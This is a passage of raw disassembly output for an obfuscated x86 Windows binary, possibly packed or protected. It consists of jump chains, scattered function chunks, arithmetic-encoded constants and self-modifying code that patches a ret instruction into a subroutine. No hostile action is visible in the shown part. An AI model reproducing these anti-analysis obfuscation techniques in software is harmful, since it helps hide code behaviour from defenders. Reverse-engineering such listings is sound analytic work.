CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B9F3 loc_4461EF: ; CODE XREF: sub_43B9F3:loc_43E4DEj rol eax, 1Bh add eax, 265B268Ah call sub_43F7FF mov ds:off_41E034, eax lea eax, sub_44E242 mov byte ptr [eax], 0C3h jmp loc_444DAF ; END OF FUNCTION CHUNK FOR sub_43B9F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E242 loc_446211: ; CODE XREF: sub_44E242j pop edx jmp loc_4428FD ; END OF FUNCTION CHUNK FOR sub_44E242 ; =============== S U B R O U T I N E ======================================= sub_446217 proc near ; CODE XREF: sub_40196D+3Cp ; sub_40196D+7Ep ... call sub_446222 jmp ds:off_41E010 sub_446217 endp ; =============== S U B R O U T I N E ======================================= sub_446222 proc near ; CODE XREF: sub_4409F4-68DAj ; y22d6.y.:loc_43EB86j ... var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043A854 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D8A0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F917 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00445AAC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044CE49 SIZE 0000000E BYTES jb loc_43F917 xchg edi, [esp+0] mov edx, edi pop edi mov eax, [esp+4+var_4] jmp loc_43D8A0 sub_446222 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_446236 proc near ; CODE XREF: sub_4444CE+7p ; y22d6.y.:004497EFj ; FUNCTION CHUNK AT 00438A09 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00441D3D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044C28C SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0044D0F3 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov eax, [eax+0Ch] loc_44623D: ; CODE XREF: y22d6.y.:loc_43AD5Aj ; sub_441DC7:loc_446175j jb loc_438A17 mov ebx, [eax+18h] jmp loc_44D0F3 sub_446236 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0A38ECCFh jmp loc_4385EB ; --------------------------------------------------------------------------- loc_446255: ; CODE XREF: y22d6.y.:0044BA4Ej xor edi, 0A3FD1E02h ; =============== S U B R O U T I N E ======================================= sub_44625B proc near ; CODE XREF: sub_439096+102D6p xchg edx, [esp+0] pop edx mov eax, edx nop call sub_43CDA6 sub_44625B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44B635 loc_446267: ; CODE XREF: sub_44B635+14j jmp loc_44D099 ; END OF FUNCTION CHUNK FOR sub_44B635 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44626C: ; CODE XREF: sub_4432B8+6CADj jmp loc_439B96 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_446271: ; CODE XREF: y22d6.y.:0043CAAEj jmp loc_43A512 ; --------------------------------------------------------------------------- loc_446276: ; DATA XREF: sub_448D0A+7o mov esp, ebp pop ebp mov eax, ds:dword_441854 or eax, eax jnz loc_43DBB2 jmp loc_4442EF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_44628D: ; CODE XREF: sub_440395-615Cj xor esi, 60D71BA5h loc_446293: ; CODE XREF: sub_440395:loc_44890Cj push dword ptr [ebp+10h] push ebx push 310D18BAh jmp loc_43C7E1 ; END OF FUNCTION CHUNK FOR sub_440395 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4462A2: ; CODE XREF: y22d6.y.:0043E41Fj jmp loc_4370BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_4462A7: ; CODE XREF: sub_43B7B5:loc_441A94j adc eax, 0DFB10DCAh test ebx, 0C3ECF2BAh jmp loc_445335 ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- xor eax, 0F7B7167h jmp sub_44364E ; --------------------------------------------------------------------------- loc_4462C3: ; CODE XREF: y22d6.y.:0043F2E8j mov ebp, eax xchg ebp, [esp] mov eax, edx call sub_4463CE mov eax, [esp] push edx jmp loc_440DF6 ; --------------------------------------------------------------------------- loc_4462D8: ; CODE XREF: y22d6.y.:0044E558j jz loc_43FC89 jnp loc_43EE10 mov eax, [edx] jmp loc_43FC87 ; --------------------------------------------------------------------------- loc_4462EB: ; DATA XREF: sub_43E5C2+2F1Co or eax, eax jnz loc_43ACD6 jmp loc_449318 ; --------------------------------------------------------------------------- loc_4462F8: ; CODE XREF: y22d6.y.:0043BB80j cmp edi, 4B25B05Ah jmp loc_4378EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_446303: ; CODE XREF: sub_43A58D:loc_449AD0j add eax, ds:4000E3h or eax, 0EF400B6Eh add eax, 0F95508h push ebx pushf push 5AA9E675h jmp loc_44D67B ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- loc_446321: ; CODE XREF: y22d6.y.:0044B5DAj jns loc_4416DF mov eax, [esp] push esi mov esi, edx xchg esi, [esp] call sub_44B674 push 0E2E088DAh jmp loc_44BB25 ; =============== S U B R O U T I N E ======================================= sub_44633F proc near ; CODE XREF: sub_439C3E:loc_43E0BFj ; sub_44633F-4DF1j ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043792F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004385C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00438C4D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00438F0D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043906F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004393A6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004393F3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043A40C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A651 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043B21A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BC38 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BF40 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043BFA7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043C03F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D5E5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DB40 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043DDE2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DEB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EB81 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EEA6 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0043F2ED SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00440763 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441545 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 004417C2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441B47 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00443B68 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444A31 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00445801 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00446037 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00448652 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004487D0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00449574 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00449DDA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044ACFA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AD3E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044AD49 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044BD7F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044C1CA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044DD8B SIZE 00000015 BYTES jo loc_441553 xchg eax, [esp+4+var_4] mov edx, eax pop eax mov eax, [esp+0] jmp loc_43EB81 sub_44633F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439F2D loc_446353: ; CODE XREF: sub_439F2D:loc_44C649j and ebx, 84909463h rol ebx, 6 add ebx, 0DC1ED021h xchg ebx, [esp+0] jmp sub_44B06F ; END OF FUNCTION CHUNK FOR sub_439F2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_44636A: ; CODE XREF: sub_43B7D4+CC9j jnz loc_44E2DD jmp loc_446533 ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_446375: ; CODE XREF: sub_444F37+6C35j mov [ebp-0Ch], eax cmp dword ptr [ebp-10h], 0 jnz loc_444D67 cmp dword ptr [ebp-0Ch], 5 jmp loc_44312F ; END OF FUNCTION CHUNK FOR sub_444F37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_44638B: ; CODE XREF: sub_43910C+Aj ; sub_440D11:loc_4435D1j ... ror eax, 19h xor eax, 361E0FAEh push offset loc_444108 jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- loc_44639E: ; CODE XREF: y22d6.y.:004385D9j cmp edx, 4757DF1Dh jmp loc_443FE5 ; --------------------------------------------------------------------------- loc_4463A9: ; CODE XREF: y22d6.y.:loc_44A19Cj retn ; --------------------------------------------------------------------------- xchg ebp, esi xor ebx, ecx jmp sub_444DB4 ; --------------------------------------------------------------------------- loc_4463B3: ; DATA XREF: sub_448EB6+F1o popf xchg ecx, [esp] jmp sub_43CA1A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_265. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_4463BD: ; CODE XREF: sub_441F08+3234j jmp loc_43D1AC ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_4463C2: ; CODE XREF: sub_43C6D7-4F53j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_4463C7: ; CODE XREF: sub_43C242+4010j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_43C242 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4463C9: ; CODE XREF: sub_43C55B+60D8j ; sub_4432B8:loc_4452B7j jmp sub_4422AA ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4463CE proc near ; CODE XREF: sub_43BCA9-17FDj ; sub_43C7C1+5p ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00443A29 SIZE 00000010 BYTES push ebp loc_4463CF: ; CODE XREF: sub_43C242+27DDj mov ebp, esp push ecx mov [ebp+var_4], eax call sub_43B7D4 loc_4463DA: ; CODE XREF: y22d6.y.:0043E69Bj jge loc_4419DA loc_4463E0: ; CODE XREF: sub_44D44A-A7E5j jmp loc_443A29 sub_4463CE endp ; --------------------------------------------------------------------------- shl edi, 1Eh jmp loc_4419D8 ; --------------------------------------------------------------------------- ror ecx, 7 jmp loc_43D9C5 ; --------------------------------------------------------------------------- jmp ds:off_41E088 ; --------------------------------------------------------------------------- loc_4463FB: ; CODE XREF: y22d6.y.:0044D5ACj jmp loc_44E15F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439051 loc_446400: ; CODE XREF: sub_439051+727Ej jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_439051 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_446405: ; CODE XREF: y22d6.y.:loc_4374B3j ; sub_438A94+FF7j ... jb loc_447C4E pop edx mov eax, [esp+0] push eax mov eax, edx jmp loc_4473DB ; END OF FUNCTION CHUNK FOR sub_438A94 ; =============== S U B R O U T I N E ======================================= sub_446417 proc near ; DATA XREF: sub_43AD64:loc_43886Ao ; FUNCTION CHUNK AT 0043A6F8 SIZE 00000005 BYTES add eax, 7FC3A2BCh xchg eax, [esp+0] jmp loc_43A6F8 sub_446417 endp ; =============== S U B R O U T I N E ======================================= sub_446425 proc near ; CODE XREF: sub_4432B8:loc_4426DEj ; sub_44314Dp ... ; FUNCTION CHUNK AT 00441A45 SIZE 00000005 BYTES xchg edi, [esp+0] mov edx, edi pop edi jnb loc_4434F2 push offset sub_44A768 jmp loc_441A45 sub_446425 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44643B proc near ; CODE XREF: sub_445A15:loc_44C3EBj retn sub_44643B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438ACB loc_44643C: ; CODE XREF: sub_438ACB+1Aj jmp sub_44D293 ; END OF FUNCTION CHUNK FOR sub_438ACB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_446441: ; CODE XREF: sub_439A90+16j pop edx add edx, 0ED3E97B7h test edx, 4000000h jmp loc_44C538 ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C128 loc_446453: ; CODE XREF: sub_43C128+10j rol ecx, 1Fh add ecx, 0E4FD1965h xchg ecx, [esp-4+arg_0] jmp loc_44195D ; END OF FUNCTION CHUNK FOR sub_43C128 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44439D loc_446464: ; CODE XREF: sub_44439D-6A19j ; y22d6.y.:00449A15j ror eax, 1Eh xor eax, 4786BBB0h ror eax, 0Bh jno loc_4488D2 xor eax, 213D4451h jmp loc_440781 ; END OF FUNCTION CHUNK FOR sub_44439D ; --------------------------------------------------------------------------- sub edx, 90444BA2h jmp sub_438399 ; --------------------------------------------------------------------------- locret_44648C: ; CODE XREF: y22d6.y.:00438585j retn ; --------------------------------------------------------------------------- loc_44648D: ; CODE XREF: y22d6.y.:00445FE2j jmp sub_44D088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_446492: ; CODE XREF: sub_4481EF+8B0j jz loc_44B062 jmp loc_43BED8 ; END OF FUNCTION CHUNK FOR sub_4481EF ; =============== S U B R O U T I N E ======================================= sub_44649D proc near ; DATA XREF: sub_445382:loc_44B156o call sub_4480DE retn sub_44649D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444D45 loc_4464A3: ; CODE XREF: sub_444D45+58BAj jmp loc_437A5C ; END OF FUNCTION CHUNK FOR sub_444D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_4464A8: ; CODE XREF: sub_43D025+14j jmp loc_43A09B ; END OF FUNCTION CHUNK FOR sub_43D025 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438F42 loc_4464AD: ; CODE XREF: sub_438F42+9j jmp loc_44C86E ; END OF FUNCTION CHUNK FOR sub_438F42 ; --------------------------------------------------------------------------- dw 5A0h dword_4464B4 dd 0 ; DATA XREF: sub_43B252+6r ; sub_43B252:loc_43C517r ... ; --------------------------------------------------------------------------- loc_4464B8: ; CODE XREF: y22d6.y.:004499E9j jmp loc_44B45E ; =============== S U B R O U T I N E ======================================= sub_4464BD proc near ; CODE XREF: sub_401000+1D0p ; sub_4464BD+5j ; DATA XREF: ... call sub_4464C8 jmp ds:off_41E02C sub_4464BD endp ; =============== S U B R O U T I N E ======================================= sub_4464C8 proc near ; CODE XREF: sub_43B489+7j sub_4464BDp ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437A2C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043B495 SIZE 0000000A BYTES jo loc_43B495 pop edx mov eax, [esp+0] jmp loc_444CBF sub_4464C8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_4464D7: ; CODE XREF: sub_4432B8-5488j call sub_449739 mov ds:dword_446DBC, eax call sub_43760A push offset loc_43C76A jmp nullsub_372 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_134. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_4464F1: ; CODE XREF: sub_43B98D:loc_444D67j mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_44221B mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F7h jmp loc_43E1C3 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447896 loc_446510: ; CODE XREF: sub_447896-522Cj push edi loc_446511: ; CODE XREF: sub_43C55B:loc_43F8C9j push 0C107A0EBh pop edi sub edi, 0F8EFC704h cmp edi, 0FEA6AAD4h jmp loc_44240E ; END OF FUNCTION CHUNK FOR sub_447896 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4431CD loc_446528: ; CODE XREF: sub_4431CD+10j jz loc_4422D0 jmp loc_4449B0 ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_446533: ; CODE XREF: sub_43B7D4+AB9Cj pop ebx sub edx, 0C6E92AA9h mov ebp, [edi] jmp loc_44E2DD ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- loc_446541: ; CODE XREF: y22d6.y.:loc_44B170j call sub_44ABDD push 692E28F6h pop eax sub eax, 0AECEF9Ah xor eax, 90CCB960h add eax, 3EDF3910h jmp loc_442010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_446563: ; CODE XREF: sub_448EB6+233Fj shr ecx, 1Dh sub ebx, edi cdq loc_446569: ; CODE XREF: sub_448EB6:loc_4406B6j push 40E424EFh pop eax or eax, 0BC19B32Fh jmp loc_4484B2 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447896 loc_44657A: ; CODE XREF: sub_447896:loc_44240Ej ; sub_447896-547Ej add edi, 382A06F9h mov [edi], eax pop edi lea eax, sub_43E39E call sub_444AD7 loc_44658E: ; CODE XREF: sub_446F34+3E77j jmp loc_44ABF4 ; END OF FUNCTION CHUNK FOR sub_447896 ; --------------------------------------------------------------------------- xchg edx, [edi] jmp sub_4411BD ; --------------------------------------------------------------------------- dw 0F520h dword_44659C dd 77E75CB5h ; DATA XREF: sub_4394F3+8r ; sub_448E18:loc_4399E5r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44921D loc_4465A0: ; CODE XREF: sub_44921D-6B1j jmp loc_44838E ; END OF FUNCTION CHUNK FOR sub_44921D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44123E loc_4465A5: ; CODE XREF: sub_44123E+1781j jmp loc_44531C ; END OF FUNCTION CHUNK FOR sub_44123E ; --------------------------------------------------------------------------- dw 1CAh dword_4465AC dd 2 ; DATA XREF: sub_43837F:loc_43B2F8r ; sub_43837F+2F98r ... dd 3 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 6 dup(2), 1Ch dup(1) dd 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h), 10h dup(1) dd 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h), 3 dup(2) dd 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h), 3 dup(1) dd 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2), 2 dup(1) dd 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2), 1 dd 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E091 loc_446DAC: ; CODE XREF: sub_44E091+Dj jmp sub_43DB23 ; END OF FUNCTION CHUNK FOR sub_44E091 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_446DB1: ; CODE XREF: sub_43A6E1+866Fj jmp loc_4430DE ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B656 loc_446DB6: ; CODE XREF: sub_43B656+3586j jmp nullsub_272 ; END OF FUNCTION CHUNK FOR sub_43B656 ; --------------------------------------------------------------------------- db 25h dword_446DBC dd 77EB36A5h ; DATA XREF: sub_4432B8-6B2Fw ; sub_4432B8+3224w dword_446DC0 dd 0 ; DATA XREF: sub_44540D+3o ; sub_445DB1+10o ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44CB85 loc_446DC4: ; CODE XREF: sub_44CB85+4j jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_44CB85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA5D loc_446DC9: ; CODE XREF: sub_43DA5D+13j jmp loc_43C317 ; END OF FUNCTION CHUNK FOR sub_43DA5D ; --------------------------------------------------------------------------- loc_446DCE: ; CODE XREF: y22d6.y.:loc_441978j sbb ecx, 8F114760h shr edi, 3 jmp loc_4447BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_446DDC: ; CODE XREF: sub_448EB6:loc_44903Aj jz loc_442100 loc_446DE2: ; CODE XREF: sub_447CBE-F79Cj jmp loc_448D1B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- add esi, 0A06467A1h push 0ED4E5B2Fh sub ebx, ecx jmp loc_442100 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437901 loc_446DF9: ; CODE XREF: sub_437901:loc_43BE0Ej jbe loc_44A776 cmp edi, 0F3EF15D7h jmp loc_4457D1 ; END OF FUNCTION CHUNK FOR sub_437901 ; --------------------------------------------------------------------------- loc_446E0A: ; DATA XREF: sub_44BA8D+Bo jz loc_44528B mov eax, ds:dword_441950 mov eax, [eax] mov ds:dword_441954, eax jmp loc_444177 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_110. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_446E22: ; CODE XREF: y22d6.y.:0043DF96j jmp loc_4471F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_446E27: ; CODE XREF: sub_4432B8-8D75j jmp loc_445021 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_352. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_446E2D: ; CODE XREF: y22d6.y.:00440128j jmp loc_43B3B4 ; --------------------------------------------------------------------------- jnz loc_44A432 xor ebx, 0C59023E9h jmp loc_44B398 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_446E43: ; CODE XREF: sub_44BCC2-939Bj push 1932D331h xchg ebp, edx loc_446E4A: ; CODE XREF: sub_44BCC2:loc_44291Bj add edx, 2DA8977h xchg edx, [esp+0] jmp loc_44D4F7 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_446E58: ; CODE XREF: sub_4450FD:loc_437DB2j jnz loc_44591F jmp loc_43A702 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- sub edi, 395585C5h jmp sub_4409F4 ; --------------------------------------------------------------------------- loc_446E6E: ; CODE XREF: y22d6.y.:0044A989j jnb loc_449DA2 loc_446E74: ; CODE XREF: y22d6.y.:loc_43706Cj rol esi, 9 sub esi, 93DE4C48h xor esi, 86A6E4h add esi, 9D44C9DCh mov [esi], eax pop esi jmp locret_44033F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B1D2 loc_446E91: ; CODE XREF: sub_44B1D2:loc_43C21Aj mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_437CFE jmp loc_43C7AF ; END OF FUNCTION CHUNK FOR sub_44B1D2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_446EA4: ; CODE XREF: y22d6.y.:00441812j push eax ; START OF FUNCTION CHUNK FOR sub_43C22F loc_446EA5: ; CODE XREF: sub_43C22F:loc_4417FCj sub edi, 0AB9F9EF0h xor edi, 0C4DCFFA0h add edi, 69D07AF9h jmp loc_443DA0 ; END OF FUNCTION CHUNK FOR sub_43C22F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_273. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FBC3 loc_446EBD: ; CODE XREF: sub_43FBC3:loc_44CF9Fj push 0B341A2EFh pop ebx xor ebx, 5C865BBBh rol ebx, 4 add ebx, 3C24BE2h mov [ebx], eax pop ebx lea eax, nullsub_8 jmp loc_4391B1 ; END OF FUNCTION CHUNK FOR sub_43FBC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_446EE0: ; CODE XREF: sub_43CBD3:loc_43F7D4j ; sub_44271A:loc_44AC93j jl loc_43F3B7 jmp loc_4404AD ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- loc_446EEB: ; CODE XREF: y22d6.y.:0044A154j add edx, 0AA9FF8A0h mov edx, [edx] or edx, edx jnz loc_43D646 jmp loc_44A203 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443BD2 loc_446F00: ; CODE XREF: sub_443BD2+18j push 13A8394Ah pop ebx add ebx, 6837E4B1h rol ebx, 14h add ebx, 208C814Ch popf xchg ebx, [esp+0] jmp sub_43CA1A ; END OF FUNCTION CHUNK FOR sub_443BD2 ; --------------------------------------------------------------------------- loc_446F1E: ; CODE XREF: y22d6.y.:00445398j cdq ; =============== S U B R O U T I N E ======================================= sub_446F1F proc near ; CODE XREF: sub_4385ED+1298Cp arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0044B4F3 SIZE 0000000E BYTES xchg edx, [esp+0] pop edx push 7727B36Fh pop esi xor esi, 0BC9EC7ECh jmp loc_44B4F3 sub_446F1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_446F34 proc near ; DATA XREF: sub_43D5FEo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043B3DC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043C2D9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E384 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EF62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441710 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 00441D67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044ABF4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0044AD9F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044CA97 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D323 SIZE 0000001F BYTES push edx push 33A8662Ch pop edx sub edx, ds:4000E8h add edx, 6D09D4EFh jmp loc_43B3DC sub_446F34 endp ; --------------------------------------------------------------------------- loc_446F4C: ; CODE XREF: y22d6.y.:0043E61Fj test ecx, ebp jmp loc_43A78F ; --------------------------------------------------------------------------- loc_446F53: ; CODE XREF: y22d6.y.:004488F8j ja loc_44B58A xor esi, eax jle loc_44BAE4 jmp loc_44A1E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR 